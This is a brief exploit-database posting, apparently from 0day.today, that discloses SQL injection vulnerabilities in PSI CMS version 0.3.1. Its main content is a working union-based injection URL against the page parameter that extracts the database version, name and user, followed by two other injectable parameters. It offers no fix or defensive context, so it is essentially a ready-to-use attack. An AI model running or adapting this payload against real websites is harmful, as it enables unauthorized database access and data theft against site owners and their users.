PSI CMS v. 0.3.1 SQLi Vulns

===========================
PSI CMS v. 0.3.1 SQLi Vulns
===========================

Product name: psi-cms
Product vendor: http://psi.tarakan.eu/
 
This product suffers from multiple SQLi...
 
[+] Exploits:
 
http://localhost/psi-cms-v.0.3.1/index.php?page=-1+union+all+select+1,2,concat(@@version,0x3a,database(),0x3a,user()),4,5,6/*
 
[+] Other SQLi:
 
http://localhost/psi-cms-v.0.3.1/index.php?subj=[SQL]
http://localhost/psi-cms-v.0.3.1/index.php?subpage=[SQL]



#  0day.today [2018-01-10]  #